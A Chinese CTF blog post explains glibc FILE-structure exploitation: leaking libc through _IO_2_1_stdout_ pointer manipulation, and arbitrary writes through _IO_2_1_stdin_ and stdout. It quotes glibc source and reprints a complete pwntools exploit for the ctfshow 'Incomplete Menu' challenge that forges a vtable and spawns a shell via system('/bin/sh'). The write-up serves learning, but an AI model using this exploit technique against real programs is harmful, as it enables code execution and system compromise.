• _IO_2_1_stdin_ 任意写及对 _IO_2_1_stdout_ 任意读的补充


    之前写过一篇 IO_FILE——leak 任意读,但是在学习的时候偷懒了,没有深入去看,这次碰到 winmt 师傅出的题,就傻眼了,故再写一篇博客来记录一下。

    例题 ctfshow Incomplete Menu :

    洞在 edit 里,可以超过 size 进行一个置零的操作。

    这里还是考虑利用 _IO_2_1_stdout_ 来泄露 libc 基址。这里就出现了一个在我上篇文章中忽略的知识点。上一篇文章是通过改 flag 的一系列操作来进行,而 _IO_2_1_stdout_ 还有另一种修改方式可以泄露 libc。及使 _IO_read_end == _IO_write_base,忽略源码在下面:

    复制代码
    _IO_size_t
    new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
    {
      _IO_size_t count;
      if (fp->_flags & _IO_IS_APPENDING)
        /* On a system without a proper O_APPEND implementation,
           you would need to sys_seek(0, SEEK_END) here, but is
           not needed nor desirable for Unix- or Posix-like systems.
           Instead, just indicate that offset (before and after) is
           unpredictable. */
        fp->_offset = _IO_pos_BAD;
      else if (fp->_IO_read_end != fp->_IO_write_base)
        {
          _IO_off64_t new_pos
        = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
          if (new_pos == _IO_pos_BAD)
        return 0;
          fp->_offset = new_pos;
        }
      count = _IO_SYSWRITE (fp, data, to_do);
      if (fp->_cur_column && count)
        fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
      _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
      fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
      fp->_IO_write_end = (fp->_mode <= 0
                   && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
                   ? fp->_IO_buf_base : fp->_IO_buf_end);
      return count;
    }
    复制代码

       还有本题还有不会的地方就是利用 _IO_2_1_stdin_ 进行任意写,走 io 的函数在读取数据时,会先判断缓冲区是否有数据,如果有数据,无论是否满足需要的数量,那么就会走缓冲区直接先取出来用,再从用户处读进缓冲区。故我们不能让 _IO_read_end > _IO_read_ptr

    复制代码
    _IO_size_t
    _IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
    {
      _IO_size_t want, have;
      _IO_ssize_t count;
      char *s = data;
    
      want = n;
    
      if (fp->_IO_buf_base == NULL)
        {
          /* Maybe we already have a push back pointer.  */
          if (fp->_IO_save_base != NULL)
        {
          free (fp->_IO_save_base);
          fp->_flags &= ~_IO_IN_BACKUP;
        }
          _IO_doallocbuf (fp);
        }
    
      while (want > 0)
        {
          have = fp->_IO_read_end - fp->_IO_read_ptr;
          if (want <= have)
        {
          memcpy (s, fp->_IO_read_ptr, want);
          fp->_IO_read_ptr += want;
          want = 0;
        }
          else
        {
          if (have > 0)
            {
              s = __mempcpy (s, fp->_IO_read_ptr, have);
              want -= have;
              fp->_IO_read_ptr += have;
            }
    
          /* Check for backup and repeat */
          if (_IO_in_backup (fp))
            {
              _IO_switch_to_main_get_area (fp);
              continue;
            }
    
          /* If we now want less than a buffer, underflow and repeat
             the copy.  Otherwise, _IO_SYSREAD directly to
             the user buffer. */
          if (fp->_IO_buf_base
              && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
            {
              if (__underflow (fp) == EOF)
            break;
    
              continue;
            }
    
          /* These must be set before the sysread as we might longjmp out
             waiting for input. */
          _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
          _IO_setp (fp, fp->_IO_buf_base, fp->_IO_buf_base);
    
          /* Try to maintain alignment: read a whole number of blocks.  */
          count = want;
          if (fp->_IO_buf_base)
            {
              _IO_size_t block_size = fp->_IO_buf_end - fp->_IO_buf_base;
              if (block_size >= 128)
            count -= want % block_size;
            }
    
          count = _IO_SYSREAD (fp, s, count);
          if (count <= 0)
            {
              if (count == 0)
            fp->_flags |= _IO_EOF_SEEN;
              else
            fp->_flags |= _IO_ERR_SEEN;
    
              break;
            }
    
          s += count;
          want -= count;
          if (fp->_offset != _IO_pos_BAD)
            _IO_pos_adjust (fp->_offset, count);
        }
        }
    
      return n - want;
    }
    复制代码

    需要注意的是本题是要控制 _IO_read_ptr - _IO_read_end < 16 ,至于为什么,emmm也不是很好说,建议各位自己调试看看。

    winmt师傅的exp:

    复制代码
    from pwn import *
    context(arch='amd64', log_level='debug')
    
    io = process("./pwn")
    elf = ELF('./pwn')
    libc = ELF("./libc-2.27.so")
    
    def get_IO_str_jumps():
       IO_file_jumps_offset = libc.sym['_IO_file_jumps']
       IO_str_underflow_offset = libc.sym['_IO_str_underflow']
       for ref_offset in libc.search(p64(IO_str_underflow_offset)):
           possible_IO_str_jumps_offset = ref_offset - 0x20
           if possible_IO_str_jumps_offset > IO_file_jumps_offset:
              return possible_IO_str_jumps_offset
    
    def new(size):
        io.sendlineafter(">> ", "1")
        io.sendlineafter(">> ", str(size))
    
    def edit(index, length, content):
        io.sendlineafter(">> ", "2")
        io.sendlineafter(">> ", str(index))
        io.sendlineafter(">> ", str(length))
        io.sendafter(">> ", content)
    
    def new_x(size):
        io.sendline("1")
        sleep(0.1)
        io.sendline(str(size))
    
    def edit_x(index, length, content):
        io.sendline("2")
        sleep(0.1)
        io.sendline(str(index))
        sleep(0.1)
        io.sendline(str(length))
        sleep(0.1)
        io.send(content)
    
    new(0x200000);
    edit(0, 0x201000 - 0x10 + libc.sym['_IO_2_1_stdout_'] + 0x10 + 1, '\n') 
    new_x(0x200000);
    edit_x(1, 0x201000 * 2 - 0x10 + libc.sym['_IO_2_1_stdout_'] + 0x20 + 1, '\n')
    libc_base = u64(io.recvline()[8:16]) - 0x3ed8b0
    success("libc_base:\t" + hex(libc_base))
    
    payload = p64(0)*5 + p64(1) + p64(0) + p64(libc_base + next(libc.search(b'/bin/sh')))
    payload = payload.ljust(0xd8, b'\x00') + p64(libc_base + get_IO_str_jumps() - 8)
    payload += p64(0) + p64(libc_base + libc.sym['system'])
    new(0x200000);
    edit(2, 0x201000 * 3 - 0x10 + libc.sym['_IO_2_1_stdin_'] + 0x38 + 1, payload)
    
    payload = p64(0xfbad208b)
    payload += p64(libc_base + libc.sym['_IO_list_all'] + 132)
    payload += p64(libc_base + libc.sym['_IO_list_all']) * 6
    payload += p64(libc_base + libc.sym['_IO_list_all'] + 0x10)
    payload = payload.ljust(132, b'\x00') + p64(libc_base - (0x201000 * 3 - 0x10))
    
    io.sendlineafter(">> ", payload)
    io.interactive()
    复制代码

    此外还有一个通过 stdout 的任意写:

    复制代码
      else if (f->_IO_write_end > f->_IO_write_ptr)
        count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
    
      /* Then fill the buffer. */
      if (count > 0)
        {
          if (count > to_do)
        count = to_do;
          f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
          s += count;
          to_do -= count;
        }
    复制代码

    只需把 _IO_write_ptr 改为想要写入的首地址, _IO_write_end 指向写入地址的结尾(或者大一些)即可。

     

  • 相关阅读:
    vscode配置golang远程开发调试环境
    Lombok常用方法及原理介绍
    FPGA系统性学习笔记连载_Day4 Xilinx ZYNQ7000系列 PS、PL、AXI 、启动流程基本概念篇
    linux 安装openssl 命令
    红队专题-Cobalt strike从小白到飞升手册
    PFC232-SOP8/14/16应广一级可带烧录程序编带
    AI极客日报0906 – Twitter更新隐私政策,开始用用户数据训练AI模型;每日GPT教程:如何用ChatGPT生成创新性想法
    java+jsp基于ssm考研指导平台
    如何找到适合自己的股票程序化交易接口模式?
    Core-1684JD4八核高算力AI核心板
  • 原文地址:https://www.cnblogs.com/pwnfeifei/p/15923390.html